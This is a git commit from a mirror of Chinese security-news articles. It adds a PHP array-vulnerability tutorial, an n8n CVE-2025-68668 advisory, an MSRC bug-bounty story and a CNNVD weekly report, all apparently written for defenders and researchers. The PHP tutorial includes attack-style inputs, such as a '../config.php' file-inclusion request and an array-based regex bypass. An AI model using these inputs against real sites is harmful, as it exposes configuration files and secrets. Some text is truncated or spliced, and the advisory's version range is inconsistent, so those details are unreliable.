mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
如何避免被割韭菜之快速获取0day漏洞详情、先知通用软件漏洞收集及奖励计划第十期 正式开始！、一次“简单的信息收集”如何挖出了一个微软高危漏洞，并获得 MSRC 漏洞奖金、信息安全漏洞周报（2025年第53期）、【已复现】n8n Pyodide 命令执行漏洞(CVE-2025-68668)、挪威Xplora儿童手表曝“万能钥匙”漏洞，黑客可监听通话与篡改定位、漏洞挖掘实战系列（第3期）：Web专项（下） 权限类+新兴漏洞，拿下剩余40%分值、零日 Chronomaly 漏洞利用可获取易受攻击的 Linux 内核的 root 权限、PHP数组漏洞实战、
This commit is contained in:
test committed
1 parent
f83148243c
commit
5d5014ae02
10 files changed
+1274
-1
No files matched your search
@@ -16255,5 +16255,14 @@
|
||||
"https://mp.weixin.qq.com/s/aU_lECDINaGEtnVi_ktAlA": "n8n 最新严重漏洞允许攻击者执行任意命令",
|
||||
"https://mp.weixin.qq.com/s/TSsGqGVoaapzGditijepig": "邀测&直播|安全知识智能体应用与AI 漏洞猎人更新",
|
||||
"https://mp.weixin.qq.com/s/7DuolL50JXhmro4SKY0oFg": "漏洞预警 | 金和OA SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/xDcynTtmWq0z6zs_b0dwiA": "漏洞情报(已验证) | 时空智友企业流程化管控系统formservice 存在 XXE漏洞"
|
||||
"https://mp.weixin.qq.com/s/xDcynTtmWq0z6zs_b0dwiA": "漏洞情报(已验证) | 时空智友企业流程化管控系统formservice 存在 XXE漏洞",
|
||||
"https://mp.weixin.qq.com/s/yHFE8yAi-L_BSx8Or889eA": "如何避免被割韭菜之快速获取0day漏洞详情",
|
||||
"https://mp.weixin.qq.com/s/SPhOwdWh8k1DGQELZW4uKg": "先知通用软件漏洞收集及奖励计划第十期 正式开始！",
|
||||
"https://mp.weixin.qq.com/s/B4zmWyT2OG_VCL22QWoscw": "一次“简单的信息收集”如何挖出了一个微软高危漏洞，并获得 MSRC 漏洞奖金",
|
||||
"https://mp.weixin.qq.com/s/kjqGeqUr0xpstWoIoCQU2A": "信息安全漏洞周报（2025年第53期）",
|
||||
"https://mp.weixin.qq.com/s/fOHrg6yFudYwGUAaH6WhKw": "【已复现】n8n Pyodide 命令执行漏洞(CVE-2025-68668)",
|
||||
"https://mp.weixin.qq.com/s/7SP3D14bsH625rD7Tvm4zA": "挪威Xplora儿童手表曝“万能钥匙”漏洞，黑客可监听通话与篡改定位",
|
||||
"https://mp.weixin.qq.com/s/pOVuTLkag3mgMQs7LnjYzA": "漏洞挖掘实战系列（第3期）：Web专项（下） 权限类+新兴漏洞，拿下剩余40%分值",
|
||||
"https://mp.weixin.qq.com/s/vPFMF7IJgp_3Di2wI55mYg": "零日 Chronomaly 漏洞利用可获取易受攻击的 Linux 内核的 root 权限",
|
||||
"https://mp.weixin.qq.com/s/1FZadgK2TOsHh7KknZgqGw": "PHP数组漏洞实战"
|
||||
}
|
||||
@@ -0,0 +1,268 @@
|
||||
# PHP数组漏洞实战
|
||||
原创 安融技术 安融技术 2026-01-07 03:38
|
||||
|
||||
PHP数组漏洞
|
||||
在
|
||||
Web
|
||||
安全领域是一个重要的问题，它可能导致数据泄露、代码执行等严重后果。下面我们通过一些常见的
|
||||
PHP
|
||||
数组漏洞类型及其实战案例分析，以及相应的防御策略。
|
||||
|
||||
|
||||
|
||||
|
||||
一、PHP数组漏洞类型及实战案例
|
||||
|
||||
1、数组越界读取
|
||||
|
||||
案例：
|
||||
|
||||
假设存在一个
|
||||
PHP
|
||||
脚本，通过
|
||||
GET
|
||||
参数接收一个数组索引，然后读取数组中的元素。
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞解析：
|
||||
|
||||
当用户访问
|
||||
http://example.com/script.php?index=3
|
||||
时，由于数组索引超出范围，程序会尝试读取不存在的元素，引发警告信息。
|
||||
|
||||
防御策略：
|
||||
|
||||
• 对输入进行验证，确保索引在有效范围内。
|
||||
|
||||
• 使用
|
||||
isset()
|
||||
或
|
||||
array_key_exists()
|
||||
函数检查索引是否有效。
|
||||
|
||||
2、数组越界写入
|
||||
|
||||
案例：
|
||||
|
||||
假设存在一个
|
||||
PHP
|
||||
脚本，允许用户通过
|
||||
POST
|
||||
请求上传文件。
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞解析：
|
||||
|
||||
攻击者可能构造一个包含恶意内容的文件，并设置文件名为超出
|
||||
|
||||
uploads
|
||||
|
||||
目录文件数量的索引，从而覆盖已存在的文件。
|
||||
|
||||
防御策略：
|
||||
|
||||
• 对上传的文件进行严格的验证，包括文件类型、大小等。
|
||||
|
||||
• 使用随机生成的文件名存储上传的文件，防止目录遍历攻击。
|
||||
|
||||
3、数组类型错误
|
||||
|
||||
案例：
|
||||
|
||||
假设存在一个
|
||||
PHP
|
||||
脚本，通过
|
||||
GET
|
||||
参数接收一个数组索引，然后根据索引返回不同的数据。
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞解析：
|
||||
|
||||
当用户访问
|
||||
http://example.com/script.php?index=b
|
||||
时，由于
|
||||
b
|
||||
被解释为布尔值，程序会输出
|
||||
1
|
||||
。
|
||||
|
||||
防御策略：
|
||||
|
||||
• 对输入进行类型验证，确保符合预期类型。
|
||||
|
||||
• 使用
|
||||
|
||||
filter_input()
|
||||
|
||||
函数获取输入，并指定参数类型。
|
||||
|
||||
4、参数注入
|
||||
|
||||
案例：
|
||||
|
||||
假设存在一个
|
||||
PHP
|
||||
脚本，通过
|
||||
GET
|
||||
参数接收用户输入。
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞解析：
|
||||
|
||||
如果攻击者传入数组而非字符串，
|
||||
|
||||
preg_match
|
||||
|
||||
会直接返回
|
||||
|
||||
false
|
||||
|
||||
，导致绕过正则检查。
|
||||
|
||||
|
||||
|
||||
|
||||
防御策略：
|
||||
|
||||
• 使用
|
||||
is_string()
|
||||
或
|
||||
is_array()
|
||||
明确限制输入类型。
|
||||
|
||||
• 使用严格模式匹配，正则表达式始终使用
|
||||
^
|
||||
和
|
||||
$
|
||||
锚定边界，并设置
|
||||
m
|
||||
修饰符处理多行输入。
|
||||
|
||||
5、文件包含漏洞
|
||||
|
||||
案例：
|
||||
|
||||
假设存在一个
|
||||
PHP
|
||||
脚本，通过
|
||||
GET
|
||||
参数接收文件路径并包含该文件。
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞解析：
|
||||
|
||||
如果用户访问
|
||||
http://example.com/index.php?page=../config.php`
|
||||
，那么
|
||||
|
||||
config.php`
|
||||
文件的内容将被包含并执行，这可能导致敏感信息泄露或代码执行。
|
||||
|
||||
防御策略：
|
||||
|
||||
• 在使用
|
||||
include
|
||||
或
|
||||
require
|
||||
函数时，使用白名单限制可访问的文件，避免执行恶意代码。
|
||||
|
||||
• 对可执行的文件进行分类，只允许执行特定目录下的文件。
|
||||
|
||||
二、防御策略
|
||||
|
||||
1
|
||||
、输入验证与过滤
|
||||
|
||||
• 对用户输入的数据进行严格的验证和过滤，确保数据符合预期格式。
|
||||
|
||||
• 使用
|
||||
PHP
|
||||
提供的内置函数，如
|
||||
filter_var
|
||||
，对输入数据进行过滤。
|
||||
|
||||
2
|
||||
、使用白名单限制文件访问
|
||||
|
||||
• 在使用
|
||||
include
|
||||
或
|
||||
require
|
||||
函数时，使用白名单限制可访问的文件，避免执行恶意代码。
|
||||
|
||||
• 对可执行的文件进行分类，只允许执行特定目录下的文件。
|
||||
|
||||
3
|
||||
、关闭
|
||||
register_globals
|
||||
和
|
||||
magic_quotes_gpc
|
||||
|
||||
• 在
|
||||
PHP
|
||||
配置文件中关闭
|
||||
register_globals
|
||||
和
|
||||
magic_quotes_gpc
|
||||
，减少安全漏洞的产生。
|
||||
|
||||
4
|
||||
、使用内容安全策略（
|
||||
CSP
|
||||
）
|
||||
|
||||
• 通过
|
||||
CSP
|
||||
，限制网页中可以执行的脚本和样式，降低跨站脚本攻击的风险。
|
||||
|
||||
5
|
||||
、输入类型校验
|
||||
|
||||
• 使用
|
||||
is_string()
|
||||
或
|
||||
is_array()
|
||||
明确限制输入类型。
|
||||
|
||||
6
|
||||
、严格模式匹配
|
||||
|
||||
• 正则表达式始终使用
|
||||
^
|
||||
和
|
||||
$
|
||||
锚定边界，并设置
|
||||
m
|
||||
修饰符处理多行输入。
|
||||
|
||||
7
|
||||
、安全反序列化
|
||||
|
||||
• 避免反序列化用户可控数据，或使用
|
||||
allowed_classes
|
||||
限制可反序列化的类。
|
||||
|
||||
8
|
||||
、参数白名单
|
||||
|
||||
• 过滤参数名中的特殊字符（如
|
||||
[]
|
||||
），仅允许预定义的键名。
|
||||
|
||||
9
|
||||
、使用安全函数
|
||||
|
||||
• 以
|
||||
ctype_alnum()
|
||||
替代正则进行字符集检查，避免类型混淆问题。
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
# 【已复现】n8n Pyodide 命令执行漏洞(CVE-2025-68668)
|
||||
奇安信CERT 乌雲安全 2026-01-07 04:03
|
||||
|
||||
●
|
||||
点击↑蓝字关注我们，获取更多安全风险通告
|
||||
|
||||
|
||||
<table><tbody><tr style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td colspan="4" data-colwidth="136,157,166,98" valign="middle" align="center" style="margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;background-color: rgb(70, 118, 217);visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);letter-spacing: 0px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;letter-spacing: 0px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞概述</span></span></strong><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></span></p></td></tr><tr style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td data-colwidth="136" width="136" valign="middle" align="left" style="margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;letter-spacing: 0px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0px;font-family: 微软雅黑, "Microsoft YaHei";visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞名称</span></span></strong></span></p></td><td colspan="3" data-colwidth="157,166,98" valign="middle" align="left" style="margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;caret-color: red;letter-spacing: 0px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="">n8n Pyodide 命令执行漏洞</span></span></p></td></tr><tr style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td data-colwidth="136" width="136" valign="middle" align="left" style="margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-family: 微软雅黑, "Microsoft YaHei";visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong sLine truncated
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞详情**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响组件**
|
||||
|
||||
n8n 是一款开源的低代码工作流自动化工具，允许用户通过可视化界面连接不同服务（如 Slack、Google Sheets、API 等）构建自动化流程。其核心功能包括节点式工作流编排、表达式语言支持、自定义函数扩展等，广泛用于 DevOps、业务流程自动化和集成场景。n8n 可部署于本地服务器、云环境或 Docker 容器中，支持社区版与企业版。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
近日，奇安信CERT监测到官方修复n8n Pyodide 命令执行漏洞(CVE-2025-68668)，在 n8n 的 Pyodide Python 代码节点中存在沙箱绕过漏洞，允许经过身份验证的用户通过创建或修改工作流来执行任意系统命令，从而获取服务器权限。
|
||||
目前该漏洞PoC已公开。
|
||||
鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**利用条件**
|
||||
|
||||
具有创建或修改工作流权限的已认证用户。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**影响范围**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响版本**
|
||||
|
||||
1.0.0 <= n8n <= 2.0.0
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**其他受影响组件**
|
||||
|
||||
无
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**复现情况**
|
||||
|
||||
目前，奇安信威胁情报中心安全研究员已成功复现
|
||||
n8n Pyodide 命令执行漏洞(CVE-2025-68668)****
|
||||
，截图如下：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**受影响资产情况**
|
||||
|
||||
奇安信鹰图资产测绘平台数据显示，
|
||||
n8n Pyodide 命令执行漏洞(CVE-2025-68668)
|
||||
关联的国内风险资产总数为26289个，关联IP总数为8916个。国内风险资产分布情况如下：
|
||||
|
||||
|
||||
|
||||
****
|
||||
n8n Pyodide 命令执行漏洞(CVE-2025-68668)
|
||||
关联的全球风险资产总数为164096个，关联IP总数为94532个。全球风险资产分布情况如下：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**处置建议**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**安全更新**
|
||||
|
||||
官方已发布安全补丁，请及时更新至最新版本：
|
||||
|
||||
n8n >= 2.0.0
|
||||
|
||||
下载地址：
|
||||
|
||||
https://github.com/n8n-io/n8n/releases
|
||||
|
||||
修复缓解措施：
|
||||
|
||||
如果无法立即进行升级，可参考以下临时缓解措施：
|
||||
|
||||
1.通过设置环境变量禁用代码节点NODES_EXCLUDE: "[\"n8n-nodes-base.code\"]"
|
||||
|
||||
2.通过设置环境变量禁用代码节点中的Python支持N8N_PYTHON_ENABLED=false
|
||||
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**参考资料**
|
||||
|
||||
[1]https://github.com/n8n-io/n8n/security/advisories/GHSA-62r4-hw23-cc8v
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
# 一次“简单的信息收集”如何挖出了一个微软高危漏洞，并获得 MSRC 漏洞奖金
|
||||
haidragon 安全狗的自我修养 2026-01-07 04:17
|
||||
|
||||
##
|
||||
# 官网：http://securitytech.cc/
|
||||
|
||||
|
||||
一次深夜的信息收集、一个随机的 .txt 文件，以及纯粹的好奇心，最终变成了一份高危安全报告，并获得了微软 MSRC 的公开致谢。
|
||||
|
||||
|
||||
|
||||
|
||||
当世界上大多数人早已入睡、做梦或准备休息时，我真正的工作才刚刚开始。**午夜不仅仅是一个时间点，它是最完美的时刻**
|
||||
：城市安静下来，思维变得清晰，所有杂音都消失了。正是在这样的时刻，我一点一点地追逐着成为安全研究员的梦想。
|
||||
|
||||
就在这样一个专注的夜晚，我打开终端，准备做一次**“简单的信息收集（simple recon）”**。一切看起来都和平常没什么不同，直到某个瞬间，我的注意力被**
|
||||
一个随机的 .txt
|
||||
文件**吸引住了。这个文件很小、极容易被忽略，却正是那根线头，最终牵扯出了一个 **微软的高危漏洞**
|
||||
。
|
||||
|
||||
这就是一个关于安静坚持、深夜直觉，以及如何从一个不起眼的发现，走到获得 MSRC 公开致谢的故事——也证明了：**真正的回报，往往来自最微小、最专注的努力。**
|
||||
## 🛠️ 环境与背景：简单的信息收集，而非技术性利用
|
||||
|
||||
这并不是什么硬核漏洞利用开发的场景。
|
||||
|
||||
没有堆喷（heap spray），没有竞争条件（race condition），也没有什么“法师级”的 RCE 黑魔法。
|
||||
|
||||
我当时只是做了一次非常常规的信息收集，包括：
|
||||
- 对目标进行广泛的域名映射，找出所有可访问的子域名
|
||||
|
||||
- 收集和整理历史 URL，寻找曾经暴露过的接口
|
||||
|
||||
- 过滤 **纯文本文件（.txt 扩展名）**
|
||||
，因为这类文件**极容易被人无意中遗留敏感信息**
|
||||
|
||||
如果你在想：**“为什么是 .txt 文件？”**
|
||||
|
||||
答案很简单：因为**人们最容易把秘密留在文本文件里**
|
||||
。我曾经就因为一个普通的 .txt
|
||||
文件拿到过一个 **CVE**
|
||||
。那次经历让我明白了一点：**永远不要低估“只是文本而已”**
|
||||
。
|
||||
|
||||
|
||||
说实话，在那之前，我预期看到的只是一些无聊的文档或无害的配置示例。但我点开了其中一个文件。**就这一个**
|
||||
，一切都变了。
|
||||
## 😲 那个“等等……什么情况？”的瞬间
|
||||
|
||||
我打开了一个托管在 **微软管理的附件服务器**
|
||||
下的 URL（出于负责任披露的要求，具体地址已脱敏）。
|
||||
|
||||
浏览器自动下载了一个 .txt
|
||||
文件。
|
||||
**不需要登录、不需要认证、不需要预签名 URL**
|
||||
。
|
||||
|
||||
就是——“啪”一下，文件就到你手里了。
|
||||
|
||||
|
||||
文件内容是**内部诊断数据**
|
||||
，那种你绝对不希望被公开访问的数据。
|
||||
|
||||
那一刻，我心里只有一个想法：**“这是真的问题。”**
|
||||
|
||||
|
||||
## 🕵️ 进一步挖掘（但始终保持克制）
|
||||
|
||||
我没有去“利用”任何东西：
|
||||
- 没有测试任何凭据
|
||||
|
||||
- 没有触碰生产系统
|
||||
|
||||
- 没有进行任何破坏性操作
|
||||
|
||||
我做的，仅仅是验证这个问题是否**具有系统性**
|
||||
：
|
||||
- 确认**多个文件**
|
||||
遵循相同的附件模式，且均可被公开访问
|
||||
|
||||
- 通过针对性的搜索引擎查询，确认这并非偶发事件，并定位到更多同域文件
|
||||
|
||||
- 检查这些文件所包含的数据类型，并**对任何敏感内容进行脱敏处理**
|
||||
|
||||
- 详细记录所有发现，并以**负责任的方式**
|
||||
提交给微软 MSRC
|
||||
|
||||
好奇心很重要。
|
||||
|
||||
但**好奇心 + 道德底线**
|
||||
，才是安全研究真正的立身之本。🔐
|
||||
## 🚨 暴露了哪些类型的文件？（高危）
|
||||
|
||||
我不会公开任何真实文件名或内部标识，这里只给出**安全、概括性的说明**
|
||||
。
|
||||
|
||||
按回车或点击查看大图
|
||||
|
||||
|
||||
|
||||
**严重性：高（High）**
|
||||
。
|
||||
|
||||
这并不仅仅是“日志泄露”这么简单。**凭据、身份基础设施信息、内部云架构**
|
||||
全部处于可公开访问状态，这是一次典型的**运营安全（OpSec）失败**
|
||||
。
|
||||
## 🗓️ 时间线（协调披露）
|
||||
> **2025 年 11 月 2 日**
|
||||
|
||||
在一次常规信息收集中，发现微软管理的在线服务中存在可公开访问的文本附件。
|
||||
> **2025 年 11 月 2 日**
|
||||
|
||||
向 Microsoft Security Response Center（MSRC）提交了详细、已脱敏的漏洞报告。（案件编号 [#103203]()
|
||||
）
|
||||
> **2025 年 11 月 7 日**
|
||||
|
||||
MSRC 确认问题存在，并启动内部调查。
|
||||
> **2025 年 11 月中旬**
|
||||
|
||||
微软限制了相关资源的公开访问，作为修复措施的一部分。
|
||||
> **2025 年 11 月 11 日**
|
||||
|
||||
MSRC 确认该问题有效，并符合公开致谢条件，但在当时的政策下不在奖金范围内；由于不需要客户采取任何行动，未分配 CVE。
|
||||
> **2025 年 12 月 11 日**
|
||||
|
||||
微软宣布更新 MSRC 漏洞奖金计划，扩大适用范围，并引入 90 天的追溯奖励窗口。
|
||||
> **2025 年 12 月 12 日**
|
||||
|
||||
案件 [#103203]()
|
||||
根据更新后的标准奖励政策重新评估，被定级为 **重要级（Important）信息泄露漏洞**
|
||||
。
|
||||
> **2025 年 12 月 12 日**
|
||||
|
||||
MSRC 确认该漏洞符合追溯奖金发放条件。
|
||||
> **2025 年 12 月**
|
||||
|
||||
研究者姓名被加入微软官方 **MSRC 致谢名单（在线服务）**
|
||||
页面。
|
||||
|
||||
|
||||
按回车或点击查看大图
|
||||
|
||||
|
||||
|
||||
在协调披露和修复完成后，我的名字 **（Sreejith A R）**
|
||||
被正式加入微软官方 **MSRC Acknowledgments – Onli溯性漏洞奖金确认**
|
||||
|
||||
在最初提交时，该问题根据当时的微软政策并不符合奖金条件。
|
||||
|
||||
但在 **2025 年 12 月**
|
||||
微软更新 MSRC 漏洞奖金计划、扩大范围并允许 **90 天追溯审查**
|
||||
后，该案例被重新评估。
|
||||
## 📢 MSRC 漏洞奖金计划更新通知
|
||||
|
||||
（使追溯奖励成为可能的政策更新）
|
||||
|
||||
按回车或点击查看大图
|
||||
|
||||
|
||||
|
||||
随后，MSRC 确认该漏洞符合 **标准奖励政策（Standard Award Policy）**
|
||||
，影响的是微软第一方在线服务，安全影响为 **重要级别（Important）信息泄露**
|
||||
。
|
||||
## 🏆 追溯奖金确认
|
||||
|
||||
（基于新政策重新评估的结果）
|
||||
|
||||
按回车或点击查看大图
|
||||
|
||||
|
||||
|
||||
从个人角度来说，这份认可意义非凡——这是我的**第一笔漏洞奖金**
|
||||
，而且还是来自微软，这让它变得更加难忘。🎉
|
||||
|
||||
我非常感谢 MSRC 团队在整个过程中展现出的透明度、响应速度，以及对负责任安全研究的认可与支持。
|
||||
|
||||
|
||||
## 🔒没有做的事情（很重要）
|
||||
|
||||
严格遵守负责任披露原则，我明确做到：
|
||||
- **没有**
|
||||
尝试使用或验证任何凭据
|
||||
|
||||
- **没有**
|
||||
在任何系统上执行代码或修改内容
|
||||
|
||||
- **没有**
|
||||
访问任何非公开的客户数据
|
||||
|
||||
所有操作都仅限于对**公开可访问文件的被动发现**
|
||||
，并在上报前进行了脱敏处理。
|
||||
## ✨ 我的收获与思考
|
||||
1. **永远不要低估“简单的信息收集”**
|
||||
|
||||
不需要复杂的漏洞链，真正重要的是耐心、好奇心和持续投入。
|
||||
|
||||
1. **纯文本文件同样危险**
|
||||
|
||||
日志、转储、脚本、导出文件中，往往藏着最敏感的秘密。
|
||||
|
||||
1. **负责任披露比炫耀更重要**
|
||||
|
||||
目标不是利用，而是修复。清晰、尊重、协同，才是正确路径。
|
||||
|
||||
1. **关注模式，而不仅是单个页面**
|
||||
|
||||
一个暴露的文件，往往意味着系统性访问控制失败。
|
||||
|
||||
- 公众号:安全狗的自我修养
|
||||
|
||||
- vx:2207344074
|
||||
|
||||
- http://
|
||||
gitee.com/haidragon
|
||||
|
||||
- http://
|
||||
github.com/haidragon
|
||||
|
||||
- bilibili:haidragonx
|
||||
|
||||
##
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****- 
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
# 信息安全漏洞周报（2025年第53期）
|
||||
原创 CNNVD CNNVD安全动态 2026-01-07 03:19
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞情况**
|
||||
|
||||
根据国家信息安全漏洞库（CNNVD）统计，本周（2025年12月29日至2026年1月4日）安全漏洞情况如下：
|
||||
|
||||
公开漏洞情况
|
||||
|
||||
本周CNNVD采集安全漏洞937个。
|
||||
|
||||
接报漏洞情况
|
||||
|
||||
本周CNNVD接报漏洞153154个，其中信息技术产品漏洞（通用型漏洞）244个，网络信息系统漏洞（事件型漏洞）11个，漏洞平台推送漏洞152899个。
|
||||
|
||||
## 一公开漏洞情况
|
||||
|
||||
|
||||
根据国家信息安全漏洞库（CNNVD）统计，本周新增安全漏洞937个，漏洞新增数量有所上升。从厂商分布来看WordPress基金会新增漏洞最多，有262个；从漏洞类型来看，跨站脚本类的安全漏洞占比最大，达到10.35%。新增漏洞中，超危漏洞14个，高危漏洞111个，中危漏洞782个，低危漏洞30个。
|
||||
|
||||
****
|
||||
（一） 安全漏洞增长数量情况
|
||||
|
||||
|
||||
|
||||
本周CNNVD采集安全漏洞937个。
|
||||
|
||||
|
||||
|
||||
图1 近五周漏洞新增数量统计图
|
||||
|
||||
****
|
||||
（二） 安全漏洞分布情况
|
||||
|
||||
|
||||
|
||||
从厂商分布来看，WordPress基金会新增漏洞最多，有262个。各厂商漏洞数量分布如表1所示。
|
||||
|
||||
表1 新增安全漏洞排名前五厂商统计表
|
||||
|
||||
|
||||
|
||||
本周国内厂商漏洞113个，威联通科技公司漏洞数量最多，有35个。国内厂商漏洞整体修复率为42.61%。请受影响用户关注厂商修复情况，及时下载补丁修复漏洞。
|
||||
|
||||
从漏洞类型来看，跨站脚本类的安全漏洞占比最大，达到10.35%。漏洞类型统计如表2所示。
|
||||
|
||||
表2 漏洞类型统计表
|
||||
|
||||
|
||||
|
||||
（三） 安全漏洞危害等级与修复情况
|
||||
|
||||
|
||||
|
||||
本周共发布超危漏洞14个，高危漏洞111个，中危漏洞782个，低危漏洞30个。相应修复率分别为28.57%、6.31%、54.99%和43.33%。根据补丁信息统计，合计454个漏洞已有修复补丁发布，整体修复率为48.45%。详细情况如表3所示。
|
||||
|
||||
表3 漏洞危害等级与修复情况
|
||||
|
||||
|
||||
|
||||
（四） 本周重要漏洞实例
|
||||
|
||||
|
||||
|
||||
本周重要漏洞实例如表4所示。
|
||||
|
||||
表4 本期重要漏洞实例
|
||||
|
||||
|
||||
|
||||
1. Moxa NPort 6100-G2 Series和MoxaNPort 6200-G2 Series 安全漏洞（CNNVD-202512-5667）****
|
||||
|
||||
Moxa NPort 6100-G2 Series和Moxa NPort 6200-G2 Series都是中国台湾Moxa公司的一系列安全终端服务器。
|
||||
|
||||
Moxa NPort 6100-G2 Series和Moxa NPort 6200-G2 Series存在安全漏洞，该漏洞源于设备Web API允许空字节注入，攻击者利用该漏洞可以导致设备重启并造成拒绝服务。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://www.moxa.com/en/support/product-support/security-advisory/mpsa-251731-cve-2025-1977-cve-2025-2026-multiple-vulnerabilities-in-nport-6100-g2-6200-g2-series
|
||||
|
||||
2. Fetch 安全漏洞（CNNVD-202512-5054）****
|
||||
|
||||
Fetch是美国Fetch公司的一款FTP文件传输客户端。
|
||||
|
||||
Fetch 5.8.2版本存在安全漏洞，该漏洞源于处理超长服务器响应时消耗100% CPU，攻击者利用该漏洞可以导致系统拒绝服务。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://fetchsoftworks.com/
|
||||
|
||||
3. WordPress plugin Lucky Wheel for WooCommerce – Spin a Sale 代码注入漏洞（CNNVD-202512-5394）
|
||||
|
||||
WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台具有在基于PHP和MySQL的服务器上架设个人博客网站的功能。WordPress plugin是一个应用插件。
|
||||
|
||||
WordPress plugin Lucky Wheel for WooCommerce – Spin a Sale 1.1.13版本及之前版本存在代码注入漏洞，该漏洞源于未对用户提交的输入进行充分验证或清理，攻击者利用该漏洞可以在服务器上执行任意PHP代码。
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，参考链接：
|
||||
|
||||
https://wordpress.org/plugins/woo-lucky-wheel
|
||||
|
||||
## 二漏洞平台推送情况
|
||||
|
||||
|
||||
本周CNNVD接收漏洞平台推送漏洞152899个。
|
||||
|
||||
表5 本周漏洞平台推送情况
|
||||
|
||||
|
||||
|
||||
## 三接报漏洞情况
|
||||
|
